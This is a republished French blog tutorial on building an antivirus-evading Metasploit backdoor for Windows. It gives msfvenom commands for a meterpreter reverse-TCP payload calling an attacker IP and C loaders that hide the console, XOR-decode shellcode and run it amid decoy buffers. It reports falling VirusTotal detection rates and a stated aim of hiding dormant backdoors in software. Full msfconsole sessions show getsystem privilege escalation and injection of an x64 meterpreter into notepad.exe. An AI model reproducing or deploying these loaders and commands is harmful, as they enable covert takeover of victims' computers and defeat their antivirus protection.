Metasploit: Générer une « backdoor » indétectable en C

Republication d’article

Source de l’article: Metasploit: Générer une « backdoor » indétectable en C

Il s'agit d'un blog post consacré à la création de “backdoor” pour injecter le service “meterpreter” sur des ordinateurs de victimes (consentantes).

Nous avons vu que les services antivirus détectaient nos “créations” comme “malware” , malgré les encodages que nous avions fait avec la commande “msfvenom”.

Nous allons voir maintenant comment créer une “backdoor” indétectable, ou presque 😉

Pour cela , il va falloir faire un tout petit peu de programmation en C …

Pré-requis

Voir le post précédent.

Au delà des outils “metasploit” (voir ici) , il faut installer “wine” ainsi que “gcc” pour “wine”.

Désolé: L'installation de “wine” et de “gcc” pour “wine” sort du cadre de cet article, et ne sera donc pas expliqué ici.

Nous utilisons les variables suivantes (a adapter selon vos besoin):

$ export PAYLOAD_X86=windows/meterpreter/reverse_tcp
$ export LHOST=192.168.6.66
$ export LPORT=6666

LHOST” est l'IP de l'“attaquant”, la mienne en fait.

❗ Nous allons travailler uniquement avec l'architecture “x86”, car aucune méthode fonctionnelle n'a été trouvé pour “x64”… 😐 Une solution pour la version « x64 »

Un "PAYLOAD" dans du C

Simple

La commande “msfvenom” peut aussi nous livrer un “PAYLOAD” (préalablement encodé ou non), dans un format “raw” mais disposé dans un tableau en langage de programmation “C”.

Exemple:

$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
unsigned char buf[] =
"\xfc\xe8...
...
...
...
...\xff\xd5";
$

( Ici et ailleurs, je masque volontairement le “PAYLOAD”. )

Après quelques recherches et tests, j'ai trouvé un bout de code élémentaire que j'ai joyeusement copié/collé, en y insérant mes données de “PAYLOAD”.
Le fichier a été nommé simplement “backdoor.c” :

#include <stdio.h>
#include <windows.h>

unsigned char buf[] =
"\xfc\xe8\...
...
...
...
...\xff\xd5";

void main(void)
{
  ShowWindow(GetConsoleWindow(),SW_HIDE);
  ((void (*)())buf)();
}

On compile ce programme pour générer “backdoor.exe” comme ceci:

$ wine gcc.exe -o backdoor.exe backdoor.c -lwsock32

On peut vérifier sur la “victime” (consentante) que la “backdoor” fonctionne parfaitement en se connectant a “msfconsole”.

❗ En vieux loup du C, je comprend mal le concept des “datas” qu'on peut éxecuter…
Je ne croyais pas que c'était encore possible de nos jours…

Un petit passage sur le site “https://www.virustotal.com” me retourne un score catastrophique de 29/67 .

Ainsi faites, notre “backdoor.exe” n'a aucune chance contre les antivirus.

Encodons

Cette fois, on va générer un “PAYLOAD” encodé:

$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -e x86/shikata_ga_nai -b 'x00xff' -i 10 -f c > buf.c

Nous insérons ce nouveau “buf” dans notre source “backdoor.c”, nous compilons et nous testons.

Ca marche toujours et “https://www.virustotal.com” donne cette fois un score de 16/65 😐

Peut mieux faire.

Avec notre décodeur

J'ai fait un petit programme qui applique un petit “xor 0x13” sur chacun des octets du “PAYLOAD”.

Le décodeur de notre “backdoor” va juste appliquer un “xor 0x13” sur chacun des octets du “PAYLOAD”, et puis l'exécuter…

Mais en faisant comme ça, je n'obtiens qu'un passable score de 16/65 sur “https://www.virustotal.com”.

La raison est simple: le fonctionnement du programme est trop élémentaire.

Donc, j'ai un peu compliqué son fonctionnement:

#include <stdio.h>
#include <windows.h>

unsigned char buf[] = 
"\xa9\x82...
...
...
...
...\x82\x44";

void *fuck(void)
{
  // On surdimensionne un tableau sur la pile...
  // Il n'y a que le "pivot" qui contient le PAYLOAD a exécuter.
  // Update: Ajout d'un "pad" pour aligner les buffers sur 0x10 octets...
  const int n = 12;
  unsigned char *__buf[n];
  unsigned char __buffer__[((sizeof(buf)+16)*n)];
  unsigned int pad = (unsigned int)(16-((unsigned int)__buffer__%16));
  int pivot = n/2;

  for( int k=0; k<n; k++ )
  {
    __buf[k] = __buffer__+pad+((sizeof(buf)+16)*k);
  }

  for( int i=0; i<sizeof(buf)-1; i++ )
  {
    for( int k=0; k<n; k++ )
    {
      if ( k<pivot || k>pivot )
      {
        __buf[k][i] = (unsigned char)~buf[i];                   // <--- Bidon
      }
      else
      {
        __buf[k][i] = (unsigned char)(buf[i]^0x13);             // <--- Decodage du PAYLOAD
        if ((i+1)>=sizeof(buf)-1) ((void (*)())__buf[k])();     // <--- Start PAYLOAD
      }
    }
  }
  return(__buf[pivot+1]);       // <--- Bidon
}

void main(void)
{
  ShowWindow(GetConsoleWindow(),SW_HIDE);
  void *fake = fuck();
  ((void (*)())fake)();         // <--- Jamais exécuté
}

La “backdoor” fonctionne et sur “https://www.virustotal.com”, j'obtiens la note de 13/65.

Mais plus important, cette “backdoor” est maintenant indétectable par l'antivirus “Kaspersky”. 😀

Bilan de tentatives d'évasions

(Oui, on parle d'“évasion” lorsqu'on tente de libérer un logiciel de l'emprise des antivirus …)

Faisons un petit point pour comprendre où l'on est arrivé:

"Backdoor" dormantes

Le but principal, c'est de pouvoir camoufler des “backdoor” dans les logiciels.

Lorsqu'on soumet des “backdoor” cachées et dormantes a “https://www.virustotal.com”, aucun antivirus ne lève d'avertissement: on est 100% indétectable.

C'est le cas avec la méthode de camouflage présenté plus haut.

Toutefois, lorsqu'on active la “backdoor”, on commence a devenir détectable, et ceci à 3 niveaux:

Décodage du "PAYLOAD"

Au moment du décodage de la “PAYLOAD”, et avant son exécution, on expose les données à l'analyse des antivirus.
A ce moment là, une “backdoor” peut être détectable.
Pour que ce ne soit pas le cas, il faudrait créé soit même son “PAYLOAD” : je n'en suis pas encore à ce stade 😉

Execution du "PAYLOAD"

Le simple fait d'exécuter du code présent dans les données du programme est suspect.
Je crois même que certains systèmes ne permettent pas ce genre de chose, et lève une exception.

En tout cas, c'est normal qu'un antivirus trouve un tel comportement suspect: aucun logiciel ne devrait faire ça.

Communication du "PAYLOAD"

Et enfin, lorsque le PAYLOAD est en fonctionnement, il tente immédiatement d'établir une communication par le réseau IP… et ça aussi c'est suspect.

Conclusion

Créer une “backdoor” indétectable aux antivirus est possible, dans la mesure où son analyse reste simple, comme la recherche de signatures par exemple.

Mais dés qu'on étudie plus finement son comportement, comme par exemple l'exécution de code dans les données, ou l'ouverture de connexion vers l'extérieure, alors la “backdoor” peut être détectée.

"Meterpreter" de "x86" à "x64"

Nous l'avons dit en préambule, il n'a pas été possible de trouver une solution viable pour un “PAYLOAD” en 64 bit.

Une solution pour la version « x64 »

En conséquence, on peut injecter “meterpreter” qu'en version 32 bit, ce qui limite sa puissance.

Toutefois, il existe des solutions…

Repartons des bases

Création de la backdoor

On reprend l'exemple vu précédement en générant une “backdoor” avec un encodage “xor 0x13”, et un peu de magie dans l'écriture du programme.

Nous envoyons notre “backdoor.exe” sur l'ordinateur de la “victime”.

"msfconsole" en attente

Du côté de notre poste d'“attaquant”, on prépare la mise en attente de notre exploit.

$ msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.6.66
msf exploit(multi/handler) > set LPORT 6666
msf exploit(multi/handler) >
msf exploit(multi/handler) > exploit -j                                          
[*] Exploit running as background job 0.                                         
msf exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.6.66:6666

Nous sommes prêt.

Prise de contrôle

Sur l'ordinateur de la “victime”, on se débrouille pour démarrer “backdoor.exe” avec les droits Administrateurs :

C:\> backdoor.exe
C:\>

Et aussitôt, du côté de la console de l'“attaquant”, on récupère une session après injection de “meterpreter”.

msf exploit(multi/handler) >
[*] Sending stage (179779 bytes) to 192.168.6.31
[*] Meterpreter session 1 opened (192.168.6.66:6666 -> 192.168.6.31:63144) at 2017-12-29 02:44:27 +0200

msf exploit(multi/handler) >

(la victime a l'IP “192.168.6.31” ici)

On entre dans la “session” embarquant “meterpreter”:

msf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > 

Et on récupère les privilèges “Administrateurs”:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: AUTORITE NT\Système
meterpreter > sysinfo
Computer        : HACKME0001
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

Voila. Nous sommes bien dans la version “x86” de “meterpreter”.

Migration avec "archmigrate"

C'est la méthode la plus simple: il suffit d'utiliser le script “post/windows/manage/archmigrate”.
Démonstration:

Nous venons de démarrer notre “backdoor.exe” et nous voila sous “meterpreter” “x86” :

meterpreter > sysinfo    
Computer        : HACKME0001                                
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64  
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2          
Meterpreter     : x86/windows
meterpreter > 

Et hop, on migre sous “x64” avec un nouveau “meterpreter” :

meterpreter > run post/windows/manage/archmigrate

[*] You're not running as SYSTEM. Moving on...
[*] The meterpreter is not the same architecture as the OS! Upgrading!
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] Got pid 204
[*] Migrating..
[+] Success!
meterpreter > sysinfo
Computer        : HACKME0001
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Voila: On est dans la version “64 bit” de “meterpreter” 😀

Reflective Injection x64

Cette méthode est largement plus complexe, mais elle nous permet d'explorer une manière d'injecter un “PAYLOAD” depuis une session en cours…

Nouvelle attente

Notre “backdoor.exe” a été démarré et nous nous retrouvons dans notre “session meterpreter” sur la “victime”.

On va suspendre cette “session” pour préparer notre injection de “meterpreter” “x64”.

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) >

On prépare une nouvelle attente pour recevoir “meterpreter” “x64” :

msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) >

On vérifie nos options:

msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------  

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.66     yes       The listen address
   LPORT     6666             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) >

Et on démarre la mise en attente:

msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.

[*] Started reverse TCP handler on 192.168.6.66:6666
msf exploit(multi/handler) >

"payload_inject"

On change d'exploit pour “windows/local/payload_inject” :

msf exploit(multi/handler) > use windows/local/payload_inject
msf exploit(windows/local/payload_inject) > 

Et on le configure à la manière du précédent exploit, avec les informations de connexion de l'“attaquant” (moi).
❗ … avec le “PAYLOAD” de “meterpreter” “x64” :

msf exploit(windows/local/payload_inject) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/payload_inject) > set LHOST 192.168.6.66
msf exploit(windows/local/payload_inject) > set LPORT 6666

❗ Sans oublier le numéro de la session qu'on a mis en veille (“background”) :

msf exploit(windows/local/payload_inject) > set SESSION 1
SESSION => 1
msf exploit(windows/local/payload_inject) > 

Un dernier coup d'oeil sur les options:

msf exploit(windows/local/payload_inject) > show options

Module options (exploit/windows/local/payload_inject):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   NEWPROCESS  false            no        New notepad.exe to inject to
   PID                          no        Process Identifier to inject of process to inject payload.
   SESSION     1                yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.6.66     yes       The listen address
   LPORT     6666             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows

msf exploit(windows/local/payload_inject) >

injection de l'exploit

On est prêt… On démarre l'exploit:

msf exploit(windows/local/payload_inject) > exploit

[-] Handler failed to bind to 192.168.6.66:6666:-  -
[-] Handler failed to bind to 0.0.0.0:6666:-  -
[*] Running module against HACKME0001
[-] PID  does not actually exist.
[*] Launching notepad.exe...
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 4080
[*] Sending stage (206403 bytes) to 192.168.6.31
[*] Meterpreter session 2 opened (192.168.6.66:6666 -> 192.168.6.31:63191) at 2017-12-29 04:18:54 +0200
[*] Exploit completed, but no session was created.
msf exploit(windows/local/payload_inject) >

Donc, l'exploit a été mis en oeuvre depuis la “session 1” , en démarrant et en injectant le “PAYLOAD” dans “notepad.exe”, et enfin, on a récupéré la nouvelle communication de “meterpreter” via la “session 2”.

On s'y introduit de ce pas:

msf exploit(windows/local/payload_inject) > sessions 2
[*] Starting interaction with 2...

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: AUTORITE NT\Système
meterpreter > sysinfo
Computer        : HACKME0001
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WINDOWS
Logged On Users : 4
Meterpreter     : x64/windows
meterpreter >

Voila: On est enfin dans la version “64 bit” de “meterpreter” 😀

Pour finir, on peut libérer notre précédent “meterpreter x86”.

D'abord, on suspend notre “session” en cours.

meterpreter > background
[*] Backgrounding session 2...
msf exploit(windows/local/payload_inject) >

Un petit coup d'oeil sur toutes les sessions:

msf exploit(windows/local/payload_inject) > sessions

Active sessions
===============

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         meterpreter x86/windows  AUTORITE NT\Syst_me @ HACKME0001  192.168.6.66:6666 -> 192.168.6.31:63144
  2         meterpreter x64/windows  AUTORITE NT\Syst_me @ HACKME0001  192.168.6.66:6666 -> 192.168.6.31:63191

msf exploit(windows/local/payload_inject) >

On retourne dans la “session 1”, qu'on ferme:

msf exploit(windows/local/payload_inject) > sessions 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.6.31 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(windows/local/payload_inject) >

On retourne dans la “session 2”, et on peut poursuivre notre exploration…

msf exploit(windows/local/payload_inject) > sessions 2
[*] Starting interaction with 2...

meterpreter >

A suivre…